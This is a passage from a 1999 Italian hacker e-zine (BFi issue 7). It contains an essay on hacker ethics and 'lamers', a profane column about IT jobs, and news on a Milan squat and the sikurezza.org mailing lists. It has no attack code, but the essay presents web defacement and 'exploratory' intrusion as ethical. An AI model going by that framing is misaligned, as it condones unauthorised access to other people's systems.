configurazione e settare le opzioni in modo da poter ottenere il massimo delle prestazioni, e ottenere un prodotto il piu' vicino possibile al suo modo di agire e alla sua stessa personalita'. Un hacker deve poter utilizzare, modificare e controllare quante piu' caratteristiche possibile di un programma. L'ETICA HACKER Il vero hacker non ha morale, e non censurerebbe mai delle informazioni o delle idee, di qualunque tipo. Un'iniziativa del sacerdote italiano Don Fortunato di Noto (fortunad@sistemia.it) che nel gennaio del 1998 formo' il "Comitato di resistenza contro il Fronte Liberazione Pedofili" e chiese l'aiuto della comunita' hacker per smascherare e denunciare i pedofili su Internet e oscurare i loro siti falli' miseramente, e fu supportata soltanto da sedicenti hacker di scarsa abilita'. Peraltro, un hacker e' per sua natura tollerante, e difficilmente si arrabbia, ma si irrita con persone o incarichi che gli fanno perdere tempo. Ci sono pero' delle cose che gli hacker non possono assolutamente sopportare. Una di queste e' sicuramente la menzogna, soprattutto nei loro confronti: puoi dire che gli hacker sono degli imbecilli, ma non puoi dire che rubano galline. Tuttavia anche in questo caso, e' difficile che degli hacker hackerino il sito per cancellare qualcosa di falso sul loro conto. E' piu' probabile che mettano su un altro sito in cui affermano la loro verita'. Tuttavia l'hacking puo' essere usato come forma di protesta: impadronirsi e modificare siti di notissime societa' e enti governativi o militari, puo' essere un modo di rendere pubbliche certe ingiustizie (soprattutto attacchi alla liberta' di informazione o di espressione) o violazioni dei diritti umani. A questo proposito sono celebri gli hack delle pagine web della CIA (che divento' Central Stupidity Agency) e al Dipartimento di Giustizia. Nell'articolo "Hacking for Human Rights?" ("Hacking per i diritti umani?") di Arik Hesseldahl (ahess@reporters.net) pubblicato sulla rivista online Wired (http://www.wired.com) datato 14.Jul.98 9:15am, l'hacker Bondie Wong (un astrofisico cinese dissidente che vive in Canada, che nel 1997 disabilito' temporaneamente un satellite cinese) membro della celebre crew hacker Cult of the Dead Cow (http://www.cultofdeadcow.com) (che all'inizio del 1999 rilascio' il trojan Back Orifice) minaccia di attaccare le reti informatiche di aziende straniere che fanno affari in Cina, provocando loro danni e perdite finanziarie. In un intervista rilasciata a Oxblood Ruffin, un ex consulente delle Nazioni Unite, e pubblicata da Wired, Blondie Wong dichiara che: "I diritti umani sono una faccenda internazionale, cosi' non mi faccio problemi che gli affari che traggono profitto dalle nostre sofferenze paghino parte del debito". Alla completa mancanza di morale (ma, soprattutto, di moralismo) dell'hacker supplisce un profondo senso etico, che negli hacker piu' convinti ha qualcosa di religioso. A tal proposito, ritorniamo al Jargon File: :L'etica hacker: sostantivo 1. La convinzione che la condivisione delle informazioni sia una cosa buona e positiva, e che e' dovere etico degli hacker condividere le loro conoscenze scrivendo software gratuito e facilitando l'accesso alle informazioni e alle risorse informatiche ovunque e' possibile. 2. La convinzione che penetrare nei sistemi per divertimento ed esplorazione e' eticamente a posto, finche' il cracker non commette furto, vandalismo, o diffusione di informazioni confidenziali. Entrambe questi principi etici sono largamente (ma non per questo universalmente) accettate tra gli hackers. La maggior parte degli hacker sottoscrivono l'etica hacker nel senso 1, e molti la mettono in pratica distribuendo gratuitamente il software prodotto da loro. Qualcuno va oltre e sostiene che *tutta* l'informazione dovrebbe essere libera e *qualunque* controllo e' cattivo [...] Il senso 2 e' piu' controverso: alcune persone considerano l'atto di crackare in se' come non etico [...] Ma questo principio quanto meno modera il comportamento di persone che vedono se' stessi come cracker "benigni" [...]. Da questo punto di vista, e' una delle piu' alte forme di cortesia hackeristica (a) penetrare un sistema, e (b) spiegare al sysop [operatore di sistema], preferibilmente tramite e-mail o da un account di "superuser", esattamente come si e' fatto e come il buco possa essere tappato -- comportandosi come un "tiger team" non pagato (e non richiesto) [il "tiger team" deriva dal gergo dell'esercito USA e sono degli esperti che segnalano delle falle nei sistemi (non informatici) di sicurezza, lasciando per esempio in una cassaforte suppostamente ben custodita un cartellino che dice "avremmo potuto rubare i vostri codici"]. [...] Penetrare un sistema non viene visto dall'hacker come un atto criminale, ma come una sfida. L'idea non e' di danneggiare la "vittima", ma di trovare un mezzo di penetrare le sue difese. E' la sfida intellettuale, la curiosita', la voglia di sperimentare, a muovere l'hacker, non il provocare un danno a qualcuno, e neanche il guadagno personale. Vediamo pero' la definizione specifica del "cracker": :cracker: sostantivo. Uno che elude la sicurezza di un sistema. Coniato nel 1985 circa dagli hacker in difesa contro l'uso scorretto del termine "hacker" da parte dei giornalisti [per i quali si avvicina esclusivamente al senso 8 del termine secondo il Jargon File]. Un precedente tentativo di instaurare il termine "worm" [("verme")] in questo senso nel 1981-82 circa su USENET, fu un fallimento. Entrambi questi neologismi riflettono una forte repulsione contro il furto e il vandalismo perpretrato dai cracker. Mentre ci si aspetta che qualunque vero hacker abbia crackato per diletto e conosca molte delle tecniche di base, chiunque abbia passato lo "stato larvale" ci si aspetta che abbia superato il desiderio di farlo. Quindi, c'e' molta meno sovrapposizione tra il mondo degli hacker e quello dei cracker rispetto a quanto il lettore "mondano" [il termine "mondano", derivante dalla Fantascienza, definisce quello che sta al di fuori del mondo dell'informatica, o dell'hacking] possa essere portato a credere dalla stampa sensazionalistica. I cracker tendono a riunirsi in piccoli, strettamente serrati, segretissimi gruppi che hanno poca sovrapposizione con l'enorme, apertamente policulturale mondo degli hacker; e anche se i cracker spesso amano *autodefinirsi* come hacker, la maggior parte dei veri hacker li considera come una separata e piu' bassa forma di vita. Considerazioni etiche a parte, gli hacker considerano che chiunque non possa immaginare un modo piu' interessante di giocare con i loro computer di penetrare in quello di qualcun altro debba essere proprio "un perdente" [d'altra parte hanno la stessa considerazione per chi usa il computer in modo assolutamente convenzionale, come esclusivamente per scrivere documenti o per giocare] [...] Inoltre, a proposito del "cracking" in se', il Jargon File riporta: :cracking: sostantivo. L'atto di penentrare in un sistema informatico; quello che fa un "cracker". Contrariamente al mito diffuso, questo solitamente non richiede una qualche misteriosa brillantezza, ma piuttosto persistenza e la tenace ripetizione di utili e ben noti trucchetti e lo sfruttamento di debolezze comuni nella sicurezza dei sistemi che si intende attaccare. Di conseguenza, la maggior parte dei cracker sono solo hacker mediocri. Questa pero' e' una visione semplicistica e riduttiva. Di fatto, com'e' facilmente intuibile, esistono anche persone altrettanto esperte di computer e assetate di conoscenza che pero' non hanno alcun rispetto dell'etica hacker e non esitano a compiere atti volti a danneggiare i sistemi informatici o altre persone. Sono i cosiddetti Hacker del Lato Oscuro ("Dark-side hacker"). Il termine deriva dalla saga di Star Wars ("Guerre Stellari") creata da George Lucas: questo tipo di hacker, secondo la definizione del Jargon File e' "sedotto dal Lato Oscuro della Forza". Anche in questi casi non si parla pero' di bene e di male cosi' come inteso dall'uomo comune, ma di un orientamento, simile al concetto di allineamento legale o caotico nel gioco di ruolo di Dungeons&Dragons. In sostanza, ai dark-side hacker gli si riconosce tutta la dignita' e l'abilita' di un hacker, ma il suo orientamento lo rende un elemento potenzialmente pericoloso per la comunita'. Si potrebbe pensare che il Jargon File parli solo in linea teorica, e che descriva l'etica hacker in modo quasi fantastico e utopistico. Non e' cosi': gli hacker sono realmente attaccati ai loro principi. Quello che segue e' un esempio pratico che riguarda una delle piu' famose crew hacker, il LOD (Legions Of Doom, che prende il nome dal nome del gruppo di cattivi di una serie di cartoni animati di Superman e i suoi superamici), di cui durante il 1988-89 fece parte anche The Mentor (il gia' citato autore de "La coscienza di un Hacker"). In "The History of LOD/H" ("La storia dei LOD/H"), Revision #3 May 1990, scritto da Lex Luthor (fondatore della crew, dal nome del cattivo nel film Superman I), e pubblicato sulla loro e-zine "The LOD/H Technical Journal", numero #4 del 20 Maggio 1990 (File 06 of 10) (http://packetstorm.securify.com/mag/lod/), leggiamo: Di tutti i 38 membri, solo uno e' stato espulso a forza. Si e' scoperto che Terminal Man [membro del LOD/H nel 1985] ha distrutto dei dati che non erano correlati con la necessita' di coprire le sue tracce. Questo e' sempre stato inaccettabile per noi, indipendentemente da quello che i media e i tutori della legge cercano di farvi credere. Ma l'intrusione nei sistemi informatici e' solo una piccola attivita' tra le tante cose di cui si occupano gli altri, e l'avversione contro gli atti vandalici virtuali e' solo una piccola parte dell'etica hacker. L'etica hacker e' qualcosa di piu' grande, quasi mistica, e trae le sue origini dai primissimi hacker, quelli che programmavano i TX-0, i primi computer disponibili nelle grandi universita' americane, come il MIT o Stanford. Dal gia' citato "Hackers: Eroi della Rivoluzione Informatica" di Steven Levy: Qualcosa di nuovo stava nascendo intorno al TX-0: un nuovo modo di vita, con una filosofia, un'etica, e un sogno. Non c'era un momento che gli hacker del TX-0 non dedicassero le loro abilita' tecniche lavorando al computer con una devozione raramente vista fuori dai monasteri, erano l'avanguardia di un audace simbiosi tra l'uomo e la macchina. [...] Perfino quando gli elementi di una cultura si stavano formando, quando la leggenda cominciava a crescere, quando la loro maestria nella programmazione iniziava a sorpassare qualunque livello di abilita' precedentemente registrato, quella dozzina circa di hacker era riluttante a prendere atto che la loro piccola societa', in una relazione intima con il TX-0, aveva lentamente e implicitamente messo insieme una serie di concetti, convinzioni, e molto piu'. I precetti di questa rivoluzionaria Etica Hacker non erano cosi' tanto dibattuti e discussi quanto silenziosamente accettati. Nessun manifesto fu pubblicato [quello di "The Mentor", molto polemico, vide la luce solo un paio di decenni piu' tardi]. Nessun missionario tento' di guadagnare conversioni. Il computer fece la conversione [...] In breve, Steven Levy, riassume cosi' i punti fermi dell'"etica hacker": L'accesso ai computer -- e a qualunque cosa che potrebbe insegnarti qualcosa sul modo in cui il mondo funziona -- dovrebbe essere illimitato e totale. "Metterci le mani sopra" e' sempre un imperativo. Tutta l'informazione dovrebbe essere libera. Non fidarsi dell'Autorita'. Promuovere la decentralizzazione. Gli hackers dovrebbero essere giudicati dal loro hacking, non da criteri fasulli come diplomi, eta', razza, o posizione sociale. Puoi creare arte e bellezza su un computer. I computer possono cambiare la tua vita in meglio. Come la lampada di Aladino, puoi ottenere che [i computer] eseguano i tuoi ordini. IL LAMER Da "The Hacker Crackdown - Law and Disorder on the Electronic Frontier" ("Giro di vite sugli hacker - Legge e disordine nella Frontiera Elettronica") di Bruce Sterling, Bantam Books, 1992. (ISBN 0-553-08058-X, paperback: ISBN 0-553-56370-X, rilasciato gratuitamente in forma elettronica per usi non commerciali (http://www.dislessici.org/info/hacker_crackdown.txt)): Ci sono hacker oggi che fieramente e pubblicamente resistono ad ogni tentativo di infangare il nobile titolo di hacker. Naturalmente e comprensibilmente, loro risentono profondamente dell'attacco ai loro valori implicito nell'usare la parola "hacker" come sinonimo di criminale informatico. [...] Il termine "hacking" e' utilizzato comunemente al giorno d'oggi da quasi tutti i rappresentanti delle forze dell'ordine con qualunque interesse professionale nelle truffe o manipolazioni informatiche. La polizia americana descrive quasi ogni crimine commesso con, da, attraverso, o contro un computer come hacking. Se la differenziazione tra hacker, cracker e dark-side hacker puo' risultare una distinzione molto sottile al chi sta al di fuori della scena informatica, nessuno, specialmente un giornalista, dovrebbe confondere un hacker con il povero sprovveduto finito in galera per aver utilizzato con troppa leggerezza qualche programma che gli e' capitato tra le mani (anche se forse usare il termine hacker fa piu' notizia... La differenza tra gli hacker e i giornalisti e' che i primi hanno un'etica, i secondi neanche il senso del pudore). Prendiamo come esempio il seguente articolo pubblicato sull'Unione Sarda (http://www.unionesarda.it/), a firma di Luigi Almiento (almiento@unionesarda.it): CARABINIERI. L'hacker denunciato e' un geometra cagliaritano di 25 anni Files rubati ai computer dei "navigatori" grazie al virus diffuso su Internet Meglio non fermarsi a chiacchierare con gli sconosciuti, soprattutto sulle chat-line di Internet. L'hanno imparato a proprie spese numerosi abbonati a diversi provider nazionali, ai quali un hacker cagliaritano di 25 anni ha sottratto, durante la navigazione, gli identificativi e le password per collegarsi in rete. [...] "Harris", spiega il tenente Saverio Spoto, comandante della Compagnia dei carabinieri, contattava le sue vittime attraverso Icq, un'area di conversazione offerta da numerosi provider di Internet. Utilizzando una chiave d'accesso acquistata fornendo generalita' false, durante le "chiacchierate scritte" G. F. inviava ai computer delle vittime il virus Netbus, che consente di "navigare" nel disco fisso dei computer altrui durante il collegamento a Internet. Harris aveva anche un proprio sito, nel quale offriva foto pornografiche, programmi-pirata e files di ogni genere: chi si collegava al suo indirizzo, veniva immediatamente contagiato dal virus informatico. [...] In poche parole, il tenente Spoto riesce a fare sfoggio di tutta la sua ignoranza in materia: fornisce una definizione abominievole di ICQ, definisce Netbus un virus invece che un trojan (il che peraltro vuol dire che non ha la benche' minima idea di come agisca), e non contento gli attribuisce una contagiosita' simile all'Ebola: venire infettati semplicemente collegandosi ad un indirizzo Internet ha quasi del soprannaturale. Per di piu' ha la faccia tosta di concludere con l'invito "Chi ha avuto contatti con Harris, se ha il dubbio che i suoi archivi siano stati forzati, venga a trovarci al Comando". Se li' al Comando sono tutti cosi' esperti come lui, e' preferibile tenersi il "virus" di Harris piuttosto che permettere che loro mettano le mani sul vostro computer. Peraltro, difficilmente questi sedicenti "hacker" sono presi per via di un'indagine di polizia (a meno che non abbiano combinato qualche guaio veramente grosso), ma perche' hanno la poco furba abitudine di vantarsi delle loro gesta, nelle chat o nella vita reale, spesso anche davanti a perfetti sconosciuti, che qualche volta sono agenti di polizia o persone vicine all'ambiente delle forze dell'ordine (puo' trattarsi anche del figlio o della fidanzata di un poliziotto). Infatti nella parte conclusiva dell'articolo riguardante "Harris" si legge: "Gli investigatori non spiegano come, ma alla fine sono riusciti a identificare il geometra": ovviamente alle forze dell'ordine piace lasciar pensare che abbiano identificato il colpevole tramite qualche tecnica complicata, inseguendo i pacchetti d'informazione o quant'altro, piuttosto che ammettere che si siano limitati a curiosare e fare qualche domanda sul canale di chat. L'hacker e' colui che sviluppa la tecnica, ed eventualmente realizza dei programmi che sfruttino la tecnica scoperta. Coloro che utilizzano ciecamente queste tecniche e questi programmi, perche' li hanno rimediati su Internet, o peggio ancora, perche' passati da un amico, sono solo dei lamer, che hanno solo una vaga idea di come usare lo strumento che hanno in mano e non sanno niente di sistemi informatici, programmazione, o di come coprire le proprie tracce. Spesso questi sedicenti hacker, proprio per la propria incapacita', finiscono per l'infettarsi da soli con virus o trojan. Mettere questi programmi in mano ad una persona comune, e' come dare una pistola carica ad un bambino di cinque anni. Il fatto e' che fino ai primi anni '80 i computer erano dedicati agli hacker, o a personale specializzato o studenti. Solo in seguito entrarono nelle scrivanie degli uffici e nelle case, quando i primi home computer soppiantarono le primitive console di videogiochi come l'Atari 2600, l'Intellivision e il Colecovision (la rivoluzione fu guidata dal Commodore 64 e dal Sinclair ZX Spectrum), ma ancora negli anni '80 c'era una certa "cultura informatica": in tutto il mondo venivano pubblicate riviste che insegnavano programmazione (soprattutto BASIC, ma anche Linguaggio Macchina) e tecniche molto avanzate degne dei migliori hacker, poi con gli anni '90 comincio' ad avverarsi il sogno di Apple e Microsoft: "un computer in ogni scrivania e in ogni casa". Il computer divento' quasi un comune elettrodomestico alla portata di tutti, il livello generale delle riviste comincio' a scadere, e quasi tutte si limitarono a pubblicare novita' del mercato hardware e software, e consigli su come usare al meglio i programmi e i pacchetti applicativi. Il passaggio di consegne del mondo dei computer dagli hacker alla gente comune, ha certamente avuto degli effetti generali positivi, ma si e' rivelato un'arma a doppio taglio, soprattutto con l'avvento di Internet: chiunque oggi puo' avere degli strumenti potentissimi per danneggiare gli altri, delle vere e proprie "armi digitali", senza avere alcuna idea di come questi funzionino e come debbano essere "maneggiati". Si puo' finire in galera con la convinzione di aver perpetrato soltanto un simpatico scherzo, anche se un po' di cattivo gusto. Tutti questi lamer aspiranti hacker farebbero meglio ad accontentarsi di APEX v1.00 r10/8/91, un simpatico programma scritto da Ed T. Toton III (l'idea originale pero' e' precedente) che simula il collegamento a diversi computer governativi e militari statunitensi (come quelli del NORAD, o della NASA), tra le varie cose, e' anche possibile riuscire a spacciarsi per il Presidente degli Stati Uniti e arrivare fino al sistema di lancio dei missili nucleari. Con un po' di abilita' di recitazione, e' possibile convincere degli amici che si sta realmente tentando di forzare i sistemi informatici USA e passare qualche decina di minuti di sano divertimento senza danneggiare nessuno e senza rischiare la galera, e senza offendere gli hacker, spacciandosi per quel che non si e'. ============================================================================== ---------------------------------[ EOF 2/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-03100777 1750 144 7541 7031215206 11744 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 3 di 22 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ ETiCA: P0LiTiCA AZiENDALE - Nello|Z [Etica]_:_politica_aziendale,_semi_corrotta,_semi_professionale si', ragazzi e' cosi', nulla da stupirsi, di stronzi in giro e' pieno il mondo e voi lo sapete meglio di me, una telefonata, un appuntamento, allungate quel curriculum ke vi e' kostato ore su ore di fatica, e di cui non ve ne frega assolutamente nulla, anzi meno, vi siete sbattuti per farlo e alla fine e' stato un trinfo con una classica frase..:"fa cagare" ma e' lo stesso, voi credede in voi e lo porgete all'altro lato del tavolo, una sfogliata veloce e incomprensibile, piena di termini teknici ma fa nulla, al capo piace cosi', gli sembra molto + 3l33t, non sa kosa siano quelle strane sigle, non capisce, ma ricorda solo una cosa, gli altri ke aveva visto prima, non le riportavano, tutto fa brodo e per questo vi assume...ovvio a una miseria, ma ki se ne frega, va bene lo stesso, un lavoro vale l'altro ma almeno qui fate quello ke vi piace fare, quello per cui state svegli la notte a rulezzare sulla rete, in mezzo ai vostri simili...gli altri mutoidi illibati, passano le week, e sale lo skazzo, le vostre mansioni concordate sono andate a fare in kulo in un lampo, ora fate altro, cose ke ritenete inutili, di cui vi frega una sega, ke avete fatto talmente tante di quelle volte ke avete la nausea e al solo pensiero, sbokkate, si', e' lei, una, bella, sana, e multireboot, configurazione di una fiammeggiante makkina win, oh, bhe, ci stanno anke i fortunati, ke la rifanno su *nix ma niente di particolarmente eccitante ke voi sempre abbiate sognato, mega machine con ram infinite, raffredamenti a h2o, processori, ke se ci sbattete sopra john, va in coredump perche' sono troppo veloci...si'...la magia, decine di milioni di euro, pokissimi le hanno viste, si pokissimi, perche' voi o la stragrande maggioranza non le ha viste, uaz, e voi pensate, pensate, e vi inkazzate, avete concordato un orario, ma nessuno vi aveva detto ke si triplikava a esponenziale, nessuno ve lo aveva detto, voi non lo sapevate, ekkekazzo, kome uscire da questo inkubo sottopagato di cui sentivate leggende metropolitane, ma a cui voi non credavate, tutto questo sudore, per mesi, e state facendo quello per cui non vi hanno assunto, ole' ti danno al via come capo progetto, ma capo di sto kazzo, il capo decide, voi no, la diff sta tutta li, non in altro, ah si', un altro particolare, i soldi, ovvio, del vostro code, del vostro lavoro, delle ore perse per farlo al meglio, configurazioni strakazzute tunnellizanti a certifikazione firewallizate..fiko, ma il soldo, quel sottile pezzo di carta, lo prende lui, il capo, ke non siete voi, voi siete il capo progetto =) ke fa molto 3l33t, ma non bekka una sega =) sogno una mega sala, con uno skermo in fondo, la terra, il nostro pianeta e le orbite satellitari in tempo reale, e un'unione di stelle ai loro tavoli, quelle vere, quelle per cui una console vuole dire serate insonni, ma appassionanti, felici e orgogliosi di aver sfornato l'ultimo tool con le palle, felici di stare assieme, di condividere tutto, di ascoltare quello ke dall'altra parte della sala facendo solo quello ke gli piace fare, per il tempo ke vuole urla all'ultimo unrelesed trovato e tutti con commozione, sorridono indicando il loro, ma in fondo, questo e' solo un sogno, bye, vado a lavorare. Nello|Z ============================================================================== ---------------------------------[ EOF 3/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-04100777 1750 144 105153 7031215206 12003 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 4 di 22 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ NEWS - BlackBerry & Cavallo & FuSyS & sikurezza.org ------[ BULK SG0MBERAT0? - BlackBerry & FuSyS Lunedi' nero quello del 15 novembre 1999 a Milano, Lunedi' nero per il Laboratorio Studentesco Occupato Autogestito Deposito Bulk, Lunedi' nero per le sorelle/fratelli del LOA-Hacklab che proprio nel Bulk svolgevano le loro attivita' e Lunedi' nero per tutti i partecipanti e sostenitori dell Hackit99 che in quel luogo si erano riuniti a costruire qualcosa di speciale, di diverso e di fottutamente libero. L'underground italiano si rattrista e si arrabbia di fronte alla notizia che il Bulk ha ricevuto un pezzo di carta che ne ordina lo sgombero per allargare una strada... Non deve accadere, non deve ripetersi la sconfitta di Breda di fine Agosto! Segue una breve storia del Bulk Il L.S.O.A. Deposito Bulk e' stato occupato il 12 Dicembre '97 dalla Rete Autogestita Studenti e Collettivi (RASC), al culmine di una stagione di protesta degli studenti medi milanesi: un'area dismessa, una scuola abbandonata sono state restituite alla citta', diventando in due anni un punto di riferimento per i giovani della metropoli per quel che riguarda la sperimentazione culturale, politica ed economica. Il L.S.O.A. Deposito Bulk oggi contiene: una fitta programmazione culturale, due sale bar, una sala concerti, gruppi di controinformazione sulle droghe, internet caffe' con libreria, sale prova, sale proiezioni, camere oscure, laboratori di teatro, laboratori artistici, attivita' con i bambini del quartiere, un'associazione che si occupa di mobilita' giovanile, un ostello della gioventu' autogestito che ha sede nella casa occupata di piazza Minniti 6. Nel momento in cui starete leggendo questo articolo, forse il Bulk avra' cessato di esistere, o forse stara' ancora cercando di pulsare tenendo aperte quelle poche porte virtuali che permettono i loro kernel duramente provati da questi ostacoli... Non lasciate che queste porte si chiudano, date la vostra solidarieta' fisica e/o anche elettronica... SOSTENETE IL BULK! Come sostenerlo? Se non siete a Milano, cominciate con l'inviare una email a chi si occupa del centro. Puntate i vostri browser verso gli URL sotto riportati. Lasciate almeno qualche parola dopo aver osservato che cosa questo centro ha cercato di fare fino ad oggi in una citta' dove sempre piu' spesso sono piu' importanti i soldi delle persone. Il Bulk ha sempre tirato fuori dal cilindro una marea di attivita' di tipo culturale, permettendo a chiunque di poter assaggiare sapori mentali non sempre disponibili nel piatto grigiore delle aree metropolitane italiane. Anche e soprattutto, dal nostro punto di vista, sono eccezionali le iniziative dedicate a telematica e tecnologie moderne, intese come spunto di liberazione ed educazione del singolo. In un paese che istituzionalmente non e' in grado di offrire NULLA dal punto di vista delle telecomunicazioni per l'individuo a basso prezzo, ed in una citta' che offre corsi e pseudocorsi "per navigare in internet" a prezzi assurdi, il Bulk ha proposto corsi di sensibilizzazione individuale completamente gratuiti, giornate a tema, l'edizione del 1999 di HackIt, che ha avuto si' risonanza mediatica, ma evidentemente non troppa, e che stava collaudando il nuovo progetto LOA per parlare di sicurezza informatica tranquillamente, gratuitamente, e con spirito di cooperazione con le altre realta' italiane in questo campo, mentre la pubblica amministrazione ed il garante per la privacy non sono ancora in grado di gestire al meglio questa matassa... Allargare una strada si e' detto. Interessante. Durante l'HackIt99 ho visto la famigerata curva. Certo. Non molto agibile. Sicuramente necessita di un rallentamento del traffico in arrivo dall'incrocio precedente. Ma ad una distanza di circa 150 metri dai semafori. E comunque permette il passaggio a due corsie per carreggiata. Forse sarebbe il caso di rendere meno semplici le promozioni per la patente di classe B [oh che peccato. Ed adesso come mandiamo avanti la vendita di automobili?! Paradosso dei bisogni fittizi in contrasto a necessita' impellenti che da sola l'amministrazione comunale non sembra in grado di offrire]... Non sappiamo cosa pensare. Una cosa e' pero' certa. Un progetto come quello dell'HackIt non sarebbe stato possibile in molti posti in Italia. Al Bulk si'. E senza finanziamenti, richieste di sponsorizzazioni o ospiti VIP per richiamare i media. Eppure vi hanno partecipato anche persone che lavorano o hanno lavorato per aziende i cui nomi forse darebbero piu' lustro al centro. Il nostro nome di certo non servira' da solo. Ma una cosa e' certa. Il gruppo di BFi ha visto nel Bulk delle possibilita'. Non lasciamole marcire per una curva. E se di pretesto si tratta, non perdiamo possibilita' interessanti per codardia. Parliamone. L.S.O.A. Deposito Bulk Via Sturzo 51 Milano Tel: 02-29014324 Fax: 02-63618561 e-mail: bulk@ecn.org Non mollate ! Link Utili http://www.ecn.org/bulk http://www.ecn.org/bulk/appelli.html http://www.ecn.org/hackit99 http://www.ecn.org/metropolix ------[ SiKUREZZA.0RG - staff@sikurezza.org Presentazione del progetto "sikurezza.org" staff@sikurezza.org Cos'e' "sikurezza.org" ? L'idea base e' quella di creare un "portale" NON COMMERCIALE sulla sicurezza (informatica) in italiano, con aree tematiche e contenuti destinati sia agli "specialisti" (sysadm, esperti di sicurezza, consulenti, appassionati, etc.) che a coloro che normalmente non seguono le mailing list o i siti dedicati alla "computer security" (molti sysadm, purtroppo - e chiunque utilizzi internet principalmente come fruitore di contenuti, il "famoso" utente medio). Una parte importante del progetto sara' dedicata alla specificita' della situazione nostrana, con particolare riferimento, per esempio, alla legislazione ed alle discussioni di carattere legale. Molto spazio avranno anche le "creazioni" e le pubblicazioni della scena underground (e non) italiana; uno degli obbiettivi principali e' quello di "creare" un punto di partenza unico - non legato, come nome e contenuti, a nessuno particolare "gruppo" - in cui trovare "velocemente" tutte le novita' del panorama italiano "security-related". "NON COMMERCIALE"? What's "NON COMMERCIALE"? (Ovviamente) il progetto verra' portato avanti dalla volonta' e dal lavoro dei singoli individui che decideranno di collaborare. Non e' prevista (e non sara' adottata) nessuna forma di "raccolta fondi" basata su banner pubblicitari, pubblicita' occulta, promozione di prodotti, etc. . Cose c'e' di pronto? Al momento sono attive 3 mailing list (in lingua italiana), con relativo archivio consultabile (dagli iscritti) via mail. A breve sara' attivato un archivio consultabile direttamente via web. ml@sikurezza.org - dedicata alla discussione di qualsiasi cosa rientri nell'ambito "computer-security" (moderata) progetto@sikurezza.org - dedicata alla discussione del progetto sikurezza.org stesso: idee, proposte, perplessita', etc. su come mantenere/diffondere/ampliare il sito, le mailing lists, etc. (moderata) openbsd@sikurezza.org - dedicata agli utenti del sistema operativo OpenBSD (http://www.openbsd.org) (non moderata, invio di messaggi riservato agli iscritti) Nota sulle mailing list "moderate": chiunque, anche non iscritto, potra' postare messaggi, ma quelli ritenuti "annoying" (spam, richieste di green & Co., thread estremamente fuori argomento, etc.) saranno "filtrati". Per iscriversi alle mailing list, seguire le istruzioni riportate in fondo a questo documento oppure sul sito http://www.sikurezza.org . Cosa c'e' da fare? Tutto. Un breve elenco (non necessariamente in ordine di importanza) potrebbe essere il seguente: - decidere una "struttura di massima" del sito - disegnare un layout grafico per le pagine web (e un logo) - raccogliere e pubblicare il materiale "italiano" piu' interessante gia' disponibile (vedere in che forma: link, mirror, etc.) - formare una "redazione" piu' o meno definita (cioe' un insieme di persone che possano dedicare una certa quantita' di tempo - anche minima - per aggiornare le varie sezioni, possibilmente giornalmente) - creare/trovare vari script e "tools" per facilitare la pubblicazione dei contenuti Ok. Mi interessa. Voglio collaborare... Chiunque sia interessato a collaborare e' pregato di iscriversi alla mailing list progetto@sikurezza.org e contribuire alla discussione. Come iscriversi alle mailing list? Per iscriversi, mandare un messaggio vuoto indirizzato a: ml-subscribe@sikurezza.org progetto-subscribe@sikurezza.org openbsd-subscribe@sikurezza.org e' possibile richiedere un elenco dei comandi supportati inviando un messaggio a: ml-help@sikurezza.org progetto-help@sikurezza.org openbsd-help@sikurezza.org ------[ NEWS DALL'iTALiA E DAL M0ND0 - Cavallo Pappapaaaa papapaaaaaaaaaaa TGCava delle ore 20:30, conduce Cavallo... OLE! Prima i doverosi salutilli inutili: Orda delle Badlands, S0ftPr0ject al completo MENO Dr_Slump che suxxa, DreadNought compare di avventure, Raistlin compare di sventure, Musherpes compare di funghi ^_^, Vecna e gli altri DEL canale, BWSB (P.D. Rulez, Delphi Rulez, GPL Rulez =)) !!!) Ora un paio di fuck che ci stanno sempre: Nicoletta la troia a furor di popolo eletta, Clubnet sempre + buzy, Omnitel Ricaricabile sempre + a scatti e sempre a chiederti 10karte per cambiare uno stupidissimo settaggio, della serie "scu scusa c c c'hai cento lllire ?", Tisquali che copre il territorio nazionale come una baldracca pezzata, i firewall che stressano i poveri studenti :/ Troiate a parte vediamo qualche novita' (che probabilmente non saranno piu' novita' ora che sara' uscito Bfi #7, chissa' =)) [0] Internet Free sempre piu' Free L'internet gratuito ormai da qualche mese si e' diffuso in maniera massiccia anche nel bel paese; da questa estate anche Libero (Infostrada), Clubnet (TIN), Kataweb (Espresso), Supereva (?), Jumpy (Mediaset-Albacom) e Inwind (Wind) si sono affiancate a Tiscali nel fornire accesso gratuito a Internet; probabilmente tra un po' anche il mio barbiere offrira' accesso a internet gratis, vabbe' se questa e' la moda, seguiamola, il cani&porci si impone. Nota: PORKODIO Non sono riuscito a pigliare le azioni di Tisquali in OPV, CAZZOOOOOOOOOOOOOOOOOOOOOOOOoOoOoooOoooOooOOoo Tutti bene o male offrono una e-mail, spazio web variabile dai 10 ai 20-30mb, newsgroup, accesso illimitato ISDN (non ovunque) o PSTN su V90 e cosi' via, tutto claramente gratuito (non ho voglia di cercare le specs di tutti, visitate i siti e silenzio). La grossa novita' e' che finalmente SI PUO' AVERE LO SCONTO DEL 50% SULLE CHIAMATE ANCHE PER GLI ALTRI GESTORI !!! Infatti, come pubblicato sulla Gazzetta Ufficiale del 5/7/99, anche i clienti di Libero(o altri), che ne faranno esplicita richiesta, potranno avere lo sconto del 50% sulla tariffa telefonica (ad esclusione dello scatto alla risposta). Estratto della delibera 101/99 del 25.6.99 dell' Autorita' per le Garanzie nelle comunicazioni: "Relativamente alle comunicazioni locali e con specifico riferimento all' accesso a servizi Internet (accesso a ISP) al fine di perseguire l'obiettivo di una maggiore diffusione del servizio Internet per l'utenza residenziale e di incentivare un miglior utilizzo delle reti attraverso un aumento del traffico l'Autorita' tenendo tra l'altro conto di quanto stabilito all'art. 45, comma 13, della legge n. 448 del 23 dicembre 1998 (collegato alla finanziaria 1999) ha valutato l'opportunita' di aggiornare la commercializzazione dei pacchetti Formula Internet e Formula Urbana per 12 mesi a partire dal 10 luglio 1999, eliminando da tali offerte la clausola di esclusivita' alla sola numerazione Telecom Italia, in quanto discriminatoria." Ergo si puo' PRETENDERE che la Telecom attivi lo sconto anche per altri gestori che non siano Telecocomero Italia. Probabilmente i cazzoni della 